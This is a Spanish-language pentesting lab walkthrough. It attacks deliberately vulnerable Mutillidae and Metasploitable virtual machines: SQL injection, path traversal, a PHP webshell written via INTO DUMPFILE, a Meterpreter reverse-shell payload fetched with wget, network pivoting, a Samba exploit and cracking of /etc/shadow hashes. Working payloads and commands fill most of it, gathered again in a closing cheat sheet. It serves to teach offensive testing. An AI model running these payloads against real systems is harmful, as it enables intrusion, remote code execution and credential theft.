Metodología de Pentesting – Guía Completa Paso a Paso
Índice
- 1. Configuración del Laboratorio
- 2. Fase 1: Reconocimiento
- 3. Fase 2: Explotación Web
- 4. Fase 3: Post-Explotación
- 5. Fase 4: Pivoting
- 6. Fase 5: Explotación Red Interna
- 7. Fase 6: Post-Explotación Avanzada
1. Configuración del Laboratorio
1.1 Arquitectura de Red
1.2 Especificaciones Técnicas
| Máquina | Interfaz | Red | IP | Gateway |
|---|---|---|---|---|
| Kali Linux | eth0 | Bridge | 192.168.0.30 | 192.168.0.1 |
| Ubuntu Mutillidae | ens33 | Bridge | 192.168.0.21 | 192.168.0.1 |
| ens37 | Host-Only | 192.168.8.131 | – | |
| Metasploitable | eth0 | Host-Only | 192.168.8.133 | – |
1.3 Configuración de VMware
Kali Linux:
1. VM → Settings → Network Adapter 2. Adapter 1: Bridged (Automatic)
Ubuntu Mutillidae:
1. VM → Settings → Network Adapter 2. Adapter 1: Bridged (Automatic) 3. VM → Settings → Add → Network Adapter 4. Adapter 2: Custom (VMnet1 - Host-only)
Metasploitable:
1. VM → Settings → Network Adapter 2. Adapter 1: Custom (VMnet1 - Host-only)
1.4 Verificación de Conectividad
Desde Kali:
bash # Verificar IP propia ip addr show eth0 # Resultado esperado: 192.168.0.30# Verificar conectividad a Mutillidae (DMZ) ping -c 4 192.168.0.21 # Debe funcionar# Intentar alcanzar Metasploitable (red interna) ping -c 4 192.168.8.133 # ❌ NO debe funcionar (sin pivoting)
Desde Ubuntu Mutillidae:
bash Verificar interfaces ip addr show
# Resultado esperado: # ens33: 192.168.0.21/24 # ens37: 192.168.8.131/24
# Verificar conectividad a Kali ping -c 4 192.168.0.30 # Debe funcionar
# Verificar conectividad a Metasploitable ping -c 4 192.168.8.133 # Debe funcionar
2. Fase 1: Reconocimiento
Se accede a la aplicación web Mutillidae desde la máquina Kali Linux, utilizando el navegador Firefox y navegando a la siguiente URL:
http://192.168.0.21/mutillidae
Al cargar la aplicación, se visualiza la página principal de Mutillidae, donde se presenta el menú de categorías OWASP en la parte superior de la interfaz.
2.1 Configuración de Burp Suite
En Kali:
En la máquina Kali Linux, se inicia Burp Suite y se configura para que actúe como proxy interceptor, con el objetivo de capturar, analizar y manipular las peticiones HTTP/HTTPS, con el fin de evaluar la seguridad de la aplicación web.
Configuración del Proxy:
1. Burp Suite → Proxy → Options 2. Proxy Listeners: - Running: - Interface: 127.0.0.1:8080 3. Intercept Server Responses:
Adicionalmente, se configura el navegador Firefox para que utilice Burp Suite como proxy, de forma que todo el tráfico generado desde el navegador sea redirigido a través de la herramienta y pueda ser inspeccionado y modificado según sea necesario.
Configurar Firefox:
1. Firefox → Preferencias → General 2. Configuración de red → Configuración 3. Configuración manual del proxy: - Proxy HTTP: 127.0.0.1 - Puerto: 8080 - Usar también para HTTPS 4. Aceptar
2.2 Navegación Manual con Burp Suite
bash # En Firefox (con proxy configurado): http://192.168.0.21/mutillidae
Acciones realizadas:
1. Navegar por el menú principal
2. Visitar páginas de OWASP 2017:
– A1 – Injection → User Info (SQL)
– A1 – Injection → Login
– A7 – XSS → Reflected
– Others → File Upload
3. Probar formularios de login
4. Explorar diferentes secciones
Resultado en Burp Suite:
Burp Suite → Target → Site map http://192.168.0.21 └── mutillidae/ ├── index.php ├── login.php ├── user-info.php ├── includes/ │ ├── header.php │ ├── database-config.php │ └── ... ├── javascript/ ├── images/ └── styles/
2.3 Escaneo Automatizado con Skipfish
Paralelamente, llevo a cabo un análisis activo de la aplicación web Mutillidae con la herramienta Skipfish.
Desde la terminal de Kali Linux, se inicia Skipfish y se le indica el dominio desde donde comenzar el escaneo, en mi caso desde la página index.php. También le indico la carpeta donde quiero que Skipfish me guarde los resultados
bash # Desde Kali: skipfish -YO -o ~/Desktop/skipfish_resultados http://192.168.0.21/mutillidae/index.php
Parámetros:
– `-Y`: Omitir confirmaciones
– `-O`: Omitir página de inicio
– `-o`: Directorio de salida
Resultado:
[+] Scan statistics: Duration: 15m 23s HTTP requests: 8234 Nodes in database: 847 Directories: 124 Files: 723[+] Security findings: High risk: 12 Medium risk: 34 Low risk: 89
Ver resultados:
Accedemos al directorio donde Skipfish ha almacenado los resultados del escaneo y abrimos el archivo index.html.
En dicho informe se presentan los resultados del rastreo, donde se detallan los dominios y subdominios enumerados, así como un resumen de los tipos de vulnerabilidades identificadas durante el análisis.
3. Fase 2: Explotación Web
En la fase de explotación de vulnerabilidades se realizan pruebas prácticas sobre los hallazgos detectados durante el análisis de la aplicación web, con el fin de comprobar su impacto real, documentarlos adecuadamente y facilitar su posterior corrección y prevención.
3.1 Ataque de Fuerza Bruta con Burp Suite
A partir del análisis del tráfico interceptado con Burp Suite, se identifica la petición HTTP correspondiente al proceso de autenticación de la aplicación web Mutillidae.
Se comprueba que Burp Suite permite capturar la solicitud de inicio de sesión, en la que se envían los parámetros de nombre de usuario y contraseña.
Con esta información, se procede a realizar pruebas de ataque de fuerza bruta sobre el mecanismo de autenticación, utilizando Burp Suite como herramienta de apoyo.
En primer lugar, se realiza una prueba inicial empleando inyección SQL con el fin de evaluar la robustez del sistema de autenticación frente a este tipo de ataques.
Paso 1: Capturar petición de login
bash # En Burp Suite: Proxy → Intercept is ON
# En Firefox: http://192.168.0.21/mutillidae/index.php?page=login.php
# Introducir credenciales de prueba: Username: usuario123 Password: pass123 Click en "Login"
Petición capturada en Burp:
http POST /mutillidae/index.php?page=login.php HTTP/1.1 Host: 192.168.0.21 User-Agent: Mozilla/5.0... Content-Type: application/x-www-form-urlencoded Content-Length: 66username=usuario123&password=pass123&login-php-submit-button=Login
Paso 2: Modificar petición (SQL Injection)
Petición original:
username=usuario123&password=pass123&login-php-submit-button=Login
Petición modificada:
username=admin' OR '1'='1&password=cualquiercosa&login-php-submit-button=Login
En Burp Suite:
1. Modificar el parámetro username 2. Click en "Forward" 3. Intercept is OFF
Resultado en Firefox:
Logged In Admin: admin (g0t r00t?)
Paso 3: Fuerza Bruta con Burp Intruder
En una segunda fase, se realizan pruebas de fuerza bruta utilizando Burp Suite.
Para ello, se cierra la sesión activa en la aplicación web Mutillidae y, mediante Burp Suite, se localiza la petición HTTP POST correspondiente al proceso de autenticación.
Dicha petición se envía a la herramienta Intruder, donde se procede a la configuración del ataque. En el apartado Positions, se seleccionan los parámetros correspondientes al nombre de usuario y la contraseña, quedando la solicitud de la siguiente forma:
username=§usuario123§&password=§pass123§&login-php-submit-button=Login
A continuación, se selecciona el tipo de ataque Cluster Bomb, ya que se pretende evaluar combinaciones tanto de nombres de usuario como de contraseñas de forma simultánea.
En la fase de configuración de payloads, se podrían emplear diccionarios de credenciales; sin embargo, para agilizar la demostración, se introducen manualmente un conjunto reducido de usuarios y contraseñas. Entre ellos, se incluyen las credenciales de una cuenta creada específicamente para la prueba:
- Usuario: estefania
- Contraseña: estefania123
Configurar ataque:
1. Burp Suite → Proxy → HTTP history 2. Buscar petición POST a login.php 3. Click derecho → Send to Intruder 4. Intruder → Positions 5. Click en "Clear §" (limpiar marcadores) 6. Seleccionar manualmente:username=§usuario123§&password=§pass123§&login-php-submit-button=Login7. Attack type: Cluster bomb
Configurar payloads:
Intruder → PayloadsPayload set 1 (username): - admin - john - jeremy - bryce - estefania (cuenta creada para prueba) - root - test →Payload set 2 (password): - admin - password - 123456 - monkey - estefania123 (password de cuenta de prueba) - letmein - test
Iniciar ataque:
Click en "Start attack"
Resultados:
Request | Payload 1 | Payload 2 | Status | Length --------|-------------|--------------|--------|------- 45 | estefania | estefania123 | 302 | 459 ← Exitoso 12 | admin | admin | 200 | 59645 ← Fallido 23 | john | monkey | 200 | 59645 ← Fallido ...otros intentos... | 200 | 59645 ← Fallido
Identificar login exitoso:
– Status code: 302 (redirección)
– Length: Diferente al resto (459 vs 59645)
3.2 SQL Injection – Extracción de Datos
En el ámbito del pentesting web, una inyección de código es una vulnerabilidad de seguridad que permite la introducción y ejecución de código malicioso (como SQL, PHP, JavaScript o HTML) en el servidor o en la base de datos de una aplicación web.
Este tipo de vulnerabilidad se produce cuando la aplicación no valida ni sanitiza correctamente las entradas proporcionadas por el usuario, lo que permite la inserción de caracteres especiales que pueden ser utilizados para identificar puntos de inyección y ejecutar código no autorizado.
Tras comprobar que la base de datos es vulnerable a inyección SQL, en esta sección se realizan pruebas controladas de inyección de código relacionadas con las consultas SQL empleadas por la aplicación web.
Navegación a la página vulnerable:
Firefox → http://192.168.0.21/mutillidae OWASP 2017 → A1 - Injection (SQL) → SQLi - Extract Data → User Info (SQL)
3.2.1 Obtener todos los usuarios
Payload:
sql ' OR 1=1--
Campo:Name
Resultado:26 usuarios con contraseñas en texto plano
Username Password Signature admin admin g0t r00t? john monkey I like the smell of confunk jeremy password d1373 1337 speak bryce password I Love SANS ed pentest Hehehe samurai samurai Carving fools jim password Rome did not create a great empire by having meetings... pablo letmein dave password adrian somepassword ... [16 usuarios más]
3.2.2 Bypass de Autenticación
En esta prueba se demuestra la posibilidad de eludir el mecanismo de autenticación de la aplicación web mediante una vulnerabilidad de inyección SQL.
Para ello, se accede a la sección correspondiente de la aplicación (OWASP 2017 > A1 – Injection (SQL) > SQLi – Bypass Authentication > Login), donde se verifica que el formulario de inicio de sesión no valida correctamente los datos introducidos.
Aprovechando esta debilidad, se introduce una condición lógica que evalúa siempre como verdadera dentro de la consulta SQL, lo que permite iniciar sesión sin disponer de una cuenta registrada. Como resultado, la aplicación concede acceso utilizando el primer usuario almacenado en la base de datos, que en este caso corresponde a un usuario con privilegios administrativos.
Navegación:
OWASP 2017 → A1 - Injection (SQL) → SQLi - Bypass Authentication → Login
Payload:
sql ' OR 1=1--
Campo:Name – Aquí introducimos nuestro payload SQL ‘ OR 1=1–
Password:(cualquier cosa o vacío)
Resultado:
Logged In Admin: admin
3.2.3 Determinar número de columnas
Payloads probados:
sql ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- ' ORDER BY 4-- ' ORDER BY 5-- ' ORDER BY 6-- ' ORDER BY 7-- ✅ Funciona ' ORDER BY 8-- ❌ Error: Unknown column '8'
Conclusión:La tabla tiene 7 columnas
3.2.4 Obtener nombre de la base de datos
Con el objetivo de identificar el nombre de la base de datos, se accede a la sección OWASP 2017 > A1 – Injection (SQL) > SQLi – Extract Data – User Info (SQL).
Inicialmente, se intenta obtener esta información mediante una consulta de unión; sin embargo, la aplicación devuelve un mensaje de error indicando que el número de columnas de la consulta no coincide con el de la tabla utilizada por la base de datos.
A partir de este comportamiento, se realizan distintas pruebas hasta determinar que la tabla consta de siete columnas. Una vez ajustada la consulta para que coincida con dicha estructura, la aplicación responde correctamente, devolviendo como resultado el nombre de la base de datos, que en este caso es Mutillidae.
Payload:
sql ' UNION SELECT null,database(),null,null,null,null,null--
Resultado:
mutillidae
3.2.5 Obtener versión de MySQL
Para conocer la versión de la base de datos, en la consulta, añado la variable versión ‘ union select null,version(),null,null,null,null,null–
El resultado nos muestra la versión.
Payload:
sql ' UNION SELECT null,version(),null,null,null,null,null--
Resultado:
5.7.33-0ubuntu0.20.04.1
3.2.6 Listar todas las tablas
Con el objetivo de identificar y enumerar las tablas existentes en la base de datos, se realiza una consulta orientada a extraer esta información desde el esquema interno. Como resultado de esta prueba, se confirma la existencia de 335 tablas, junto con sus respectivos nombres.
Payload:
sql ' UNION SELECT null,table_name,null,null,null,null,null FROM information_schema.tables WHERE table_schema='mutillidae'--
Resultado (355 tablas):
ADMNISTRABLE_ROLE_AUTHORIZATIONS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONTRAINTS ...
3.2.7 Acceder a ficheros de manera remota
Con el propósito de verificar el acceso remoto a archivos a través de la base de datos, se crea previamente un archivo de texto en el servidor Ubuntu que aloja la aplicación web, asignándole los permisos necesarios para que pueda ser leído por el gestor MySQL.
Posteriormente, se realiza una consulta diseñada para recuperar el contenido de dicho archivo desde la base de datos. Como resultado de esta prueba, se comprueba que es posible acceder de forma remota al contenido del fichero, evidenciando el impacto de la vulnerabilidad.
Payload:
sql
' union select null,load_file('/var/lib/mysql-files/ficheroprueba.txt'),null,null,null,null,null--
Resultado:
username=esto es una prueba
3.3 Path Traversal
En esta prueba se evalúa una vulnerabilidad de Path Traversal, cuya explotación consiste en manipular los parámetros de la URL para acceder a recursos distintos a los inicialmente previstos por la aplicación.
Durante el análisis, se identifica que el contenido mostrado por la aplicación depende del parámetro page. Aprovechando esta funcionalidad, se modifica el valor de dicho parámetro para forzar la carga de un archivo diferente, en este caso user-info.php, lo que permite visualizar información sensible, como el contenido del archivo passwd.
URL vulnerable:
http://192.168.0.21/mutillidae/index.php?page=user-info.php
Payload:
http://192.168.0.21/mutillidae/index.php?page=../../../../../etc/passwd
Resultado:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... [contenido completo de /etc/passwd]
3.4 Remote Code Execution – Webshell Upload
En esta sección se evalúa una vulnerabilidad de Remote Code Execution (RCE) que permite la carga y ejecución de una webshell en el servidor web.
Mediante la explotación de una inyección SQL previamente identificada, se consigue escribir un archivo malicioso en el sistema de archivos del servidor web. Dicho archivo contiene código del lado del servidor que habilita la ejecución remota de comandos a través de una interfaz accesible desde el navegador.
Una vez creada la webshell y accediendo a ella desde la aplicación web Mutillidae, se obtiene una interfaz tipo terminal, desde la cual es posible ejecutar comandos del sistema y recopilar información sensible del servidor, demostrando así el impacto crítico de la vulnerabilidad.
Paso 1: Verificar permisos de escritura en Ubuntu
bash # Desde Ubuntu Mutillidae: sudo chmod 777 /var/www/html/mutillidae/
Verificar: ls -ld /var/www/html/mutillidae/
Resultado: drwxrwxrwx
Paso 2: Preparación de la webshell
En Kali se crea un archivo temporal con la webshell:
nano /tmp/webshell_code.txt
Contenido de la webshell:
<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>
Paso 3: Inyectar webshell mediante SQL
Payload (TODO EN UNA LÍNEA):
sql ' UNION SELECT null,null,null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '/var/www/html/mutillidae/backdoor.php'--
Ejecutar en:
Firefox → OWASP 2017 → A1 - Injection (SQL) → SQLi - Extract Data → User Info (SQL) Campo "Name": [pegar payload] Click en "View Account Details"
Paso 4: Verificar creación de webshell
bash # Desde Ubuntu Mutillidae: ls -la /var/www/html/mutillidae/ | grep backdoor# Resultado: -rw-rw-rw- 1 mysql mysql 512 ene 10 14:23 backdoor.php
Webshell creada exitosamente
Paso 5: Acceder a la webshell (Path Traversal)
En Firefox, se modifica la URL y como resultado obtenemos la interfaz de la webshell que se ha creado.
URL:
http://192.168.0.21/mutillidae/index.php?page=backdoor.php
Interfaz de la webshell:
Paso 6: Ejecutar comandos
Comando 1: Verificar usuario
Command: whoami Resultado: www-data
Comando 2: Listar archivos
Command: ls -la Resultado: drwxrwxrwx 10 www-data www-data 4096 ene 10 14:23 . drwxr-xr-x 3 root root 4096 sep 29 2023 .. -rw-r--r-- 1 www-data www-data 8234 sep 29 2023 index.php -rw-rw-rw-- 1 mysql mysql 512 ene 10 14:23 backdoor.php ... [más archivos]
Comando 3: Leer /etc/passwd
Command: cat /etc/passwd Resultado: [contenido completo del archivo]
Fase 3: Post-Explotación
4.1 Descubrimiento de Red Interna
Comando:
Command: ip addr show
Resultado:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 inet 127.0.0.1/8 scope host lo2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 inet 192.168.0.21/24 brd 192.168.0.255 scope global ens333: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 inet 192.168.8.131/24 brd 192.168.8.255 scope global ens37
⚠️ Hallazgo crítico:
– **ens33:** 192.168.0.21 → Red externa (conocida)
– **ens37:** 192.168.8.131 → **RED INTERNA descubierta!
4.2 Escaneo de Red Interna
Comando:
Command: ping -c 1 192.168.8.133
Resultado:
PING 192.168.8.133 (192.168.8.133) 56(84) bytes of data. 64 bytes from 192.168.8.133: icmp_seq=1 ttl=64 time=0.387 ms--- 192.168.8.133 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss
✅ Host 192.168.8.133 activo (Metasploitable)
5. Fase 4: Pivoting
En esta fase se demuestra cómo, partiendo de un sistema previamente comprometido (Ubuntu con Mutillidae), es posible ampliar el alcance del ataque hacia otros equipos de la red interna que no son accesibles directamente desde la máquina atacante (Kali Linux).
Para ello, se aprovecha la webshell obtenida mediante Remote Code Execution para ejecutar un payload de Meterpreter, estableciendo una sesión persistente con Metasploit. Una vez obtenida dicha sesión, se configura el pivoting, utilizando el sistema comprometido como puente entre redes.
Gracias a esta técnica, se logra acceder y explotar una tercera máquina (Metasploitable) ubicada en una red host-only, culminando con la obtención de acceso root, lo que evidencia el impacto crítico de una cadena de ataque bien encadenada y la importancia de la segmentación y el control de accesos en entornos internos.
5.1 Generación de Payload Meterpreter
bash # Desde Kali: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=4444 -f elf > shell.elf Resultado:
Verificar creación:
bash ls -lh shell.elf # -rw-r--r-- 1 kali kali 207 ene 9 13:15 shell.elf
5.2 Transferir Payload a Ubuntu
Paso 1: Levantar servidor HTTP en Kali
bash # En nueva ventana de terminal de Kali (no cerrar proceso): python3 -m http.server 8000# Resultado: Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Paso 2: Descargar desde webshell
Comando en webshell:
wget http://192.168.0.30:8000/shell.elf -O /tmp/shell.elf
Paso 3: Dar permisos de ejecución
Comando en webshell:
chmod +x /tmp/shell.elf
Verificar:
Command: ls -la /tmp/shell.elf Resultado: -rwxr-xr-x 1 www-data www-data 207 ene 9 13:20 /tmp/shell.elf
Payload listo para ejecutar
El archivo se subió correctamente y ya tiene permisos de ejecución, lo sabemos porque observamos el mensaje -rwxr-xr-x 1 www-data www-data 207 ene 9 19:15 /tmp/shell.elf
5.3 Configurar Listener en Kali
En una nueva ventana de terminal de Kali iniciamos msfconsole. Y una vez dentro de msfconsole, se configura el handler:
bash # Nueva terminal en Kali: msfconsole
Dentro de msfconsole:
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.0.30 set LPORT 4444 exploit
Resultado:
[*] Started reverse TCP handler on 192.168.0.30:4444
Esto significa que Metasploit está esperando la conexión de Meterpreter.
5.4 Ejecutar Payload desde Ubuntu
Comando en webshell de Mutillidae:
/tmp/shell.elf
En Kali (msfconsole) verás:
[*] Sending stage (1017704 bytes) to 192.168.0.21 [*] Meterpreter session 1 opened (192.168.0.30:4444 -> 192.168.0.21:36722) at 2026-01-09 13:24:18 -0500meterpreter >
Se ha establecido una sesión de Meterpreter
5.5 Verificar Sesión Meterpreter
meterpreter > sysinfo
Resultado:
Vamos a ver las interfaces de red de Ubuntu para encontrar la red donde está Metasploitable
meterpreter > ifconfig
Resultado:
- ens33: 192.168.0.21 → Red bridge (conecta con Kali)
- ens37: 192.168.8.131 → Red host-only (donde está Metasploitable)
La red host-only es 192.168.8.0/24
5.6 Configurar Autoroute (Pivoting)
meterpreter > run autoroute -s 192.168.8.0/24
Resultado:
Verificar rutas:
meterpreter > run autoroute -p Resultado: Active Routing Table ====================Subnet Netmask Gateway ------ ------- ------- 192.168.8.0 255.255.255.0 Session 1
La ruta está activa y configurada correctamente.
Introducimos los siguientes comandos para averiguar la IP de Metasploitable
shell ipneighbor Comprobamos que ya tenemos las IPs
- 192.168.0.30 → Mi Kali (Alcanzable – REACHABLE)
- 192.168.8.133 → Esta debe ser Metasploitable
- 192.168.8.1 y 192.168.8.254 → Gateways de la red host-only
5.7 Escanear Red Interna a través del Pivoting
A continuación se escanean los puertos de Metasploitable pero antes salimos de la sesión y la ponemos en background.
meterpreter > exit meterpreter > background
Ahora en msfconsole:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.8.133 set PORTS 21,22,23,25,80,139,445,3306,5432,8180 set THREADS 10 run
Resultado:
El escaneo encontró 3 puertos abiertos:
3306 → MySQL
5432 → PostgreSQL
8180 → Apache Tomcat
Parece que los puertos típicos (21, 22, 23, 80, 139, 445) están filtrados o cerrados. Vamos a hacer un escaneo más amplio y luego explotar algún servicio.
Escaneo más completo:
set PORTS 1-10000 set THREADS 20 run
Resultado (puertos abiertos encontrados):
21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown
6. Fase 5: Explotación Red Interna
6.1 Identificar Vulnerabilidad en Samba
use exploit/multi/samba/usermap_script set RHOSTS 192.168.8.133 set PAYLOAD cmd/unix/bind_perl exploit
Resultado:
*Command shell session 2 opened (192.168.8.131:40362 -> 192.168.8.133:4444 via session 1)
Ya tenemos acceso a Metasploitable a través del pivoting
via session 1 → Está usando mi sesión Meterpreter en Ubuntu como puente
192.168.8.131 (Ubuntu) → 192.168.8.133 (Metasploitable)
6.2 Verificar Acceso
whoami
Resultado:
root
Acceso ROOT obtenido
6.3 Enumeración del Sistema
Hostname:
hostname
Resultado: `metasploitable`
Sistema operativo:
uname -a
Resultado:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Interfaces de red:
ifconfig
Resultado:
eth0 Link encap:Ethernet HWaddr 00:0c:29:80:d3:95
inet addr:192.168.8.133 Bcast:192.168.8.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
7. Fase 6: Post-Explotación Avanzada
Una vez comprometido el sistema objetivo y obtenido acceso con privilegios elevados, se inicia la fase de post-explotación, centrada en la extracción y análisis de credenciales almacenadas en el sistema. En esta etapa, se recopilan los hashes de contraseñas obtenidos del archivo /etc/shadow, los cuales contienen las contraseñas de los usuarios del sistema en formato cifrado.
Los hashes extraídos se almacenan en un archivo local en la máquina atacante (Kali Linux) con el objetivo de analizarlos posteriormente. Para el proceso de descifrado, se utiliza la herramienta John the Ripper, especializada en el cracking de contraseñas mediante ataques de diccionario y fuerza bruta.
Mediante el uso de diccionarios comunes y reglas básicas, John the Ripper logra recuperar algunas contraseñas en texto plano, demostrando que varios usuarios utilizan credenciales débiles o fácilmente adivinables. Este resultado evidencia el impacto de una mala política de contraseñas, ya que permite al atacante reutilizar las credenciales obtenidas para acceder a otros servicios o sistemas, facilitando la escalada lateral y el compromiso completo del entorno.
7.1 Extracción de /etc/shadow
cat /etc/shadow
Resultado:
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
Guardar hashes:
Desde Kali, crear archivo hashes.txt:
nano hashes.txt
Contenido de hashes.txt:
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0 klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0 msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/ postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/ user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0 service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//
7.2 Identificar Tipo de Hash
Desde Kali:
hashid '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.'
Resultado:
Analyzing '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.' [+] MD5 Crypt [+] Cisco-IOS(MD5) [+] FreeBSD MD5
Conclusión: Hashes MD5 Crypt
7.3 Cracking con John the Ripper
Desde Kali:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Resultado:
7.4 Resumen de Credenciales Crackeadas
| Usuario | Hash (MD5 Crypt) | Contraseña | Estado |
|---|---|---|---|
| klog | $1$f2ZVMS4K$R9XkI.Cm… | 123456789 | ✅ Crackeado |
| sys | $1$fUX6BPOt$Miyc3Up… | batman | ✅ Crackeado |
| service | $1$kR3ue7JZ$7GxELD… | service | ✅ Crackeado |
| root | $1$/avpfBJ1$x0z8w5U… | – | ❌ No crackeado |
| msfadmin | $1$XN10Zj2c$Rt/zzC… | – | ❌ No crackeado |
| user | $1$HESu9xrH$k.o3G93… | – | ❌ No crackeado |
| postgres | $1$Rw35ik.x$MgQgZU… | – | ❌ No crackeado |
8. Resumen de Comandos Utilizados
Reconocimiento
# Burp Suite burpsuite & # Skipfish skipfish -YO -o ~/Desktop/skipfish_resultados http://192.168.0.21/mutillidae/index.php
SQL Injection
-- Extracción de usuarios
' OR 1=1--
-- Bypass autenticación
' OR 1=1--
-- Determinar columnas
' ORDER BY 7--
-- Obtener nombre de la BD
' UNION SELECT null,database(),null,null,null,null,null--
-- Obtener versión
' UNION SELECT null,version(),null,null,null,null,null--
-- Listar tablas
' UNION SELECT null,table_name,null,null,null,null,null FROM information_schema.tables WHERE table_schema='mutillidae'--
-- Leer archivo
' union select null,load_file('/var/lib/mysql-files/ficheroprueba.txt'),null,null,null,null,null--
-- Upload webshell
' UNION SELECT null,null,null,null,null,null,'[CÓDIGO PHP]' INTO DUMPFILE '/var/www/html/mutillidae/backdoor.php'--
Comandos de Webshell
whoami ls -la cat /etc/passwd ip addr show ping -c 1 192.168.8.133
Metasploit – Meterpreter
# Generar payload msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=4444 -f elf > shell.elf # Servir payload python3 -m http.server 8000 # Listener use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.0.30 set LPORT 4444 exploit # Pivoting run autoroute -s 192.168.8.0/24 run autoroute -p background
Metasploit – Samba Exploit
# Escaneo de puertos use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.8.133 set PORTS 21,22,23,25,80,139,445,3306,5432,8180 set THREADS 10 run # Exploit Samba use exploit/multi/samba/usermap_script set RHOSTS 192.168.8.133 set PAYLOAD cmd/unix/bind_perl exploit
Password Cracking
# Identificar hash hashid '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.' # Crackear con John john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
9. Herramientas y Versiones
| Herramienta | Versión | Propósito |
|---|---|---|
| Kali Linux | 2024.1 | Sistema operativo atacante |
| Burp Suite Community | 2024.x | Proxy interceptor |
| Skipfish | 2.10b | Web scanner |
| Metasploit Framework | 6.3.x | Plataforma de explotación |
| msfvenom | 6.3.x | Generador de payloads |
| John the Ripper | 1.9.0 | Password cracker |
| Python | 3.11 | HTTP server |
| Firefox | 115 ESR | Navegador web |
10. Referencias
Autora: Estefanía Ramírez Martínez
Fecha: Enero 2026
Licencia: MIT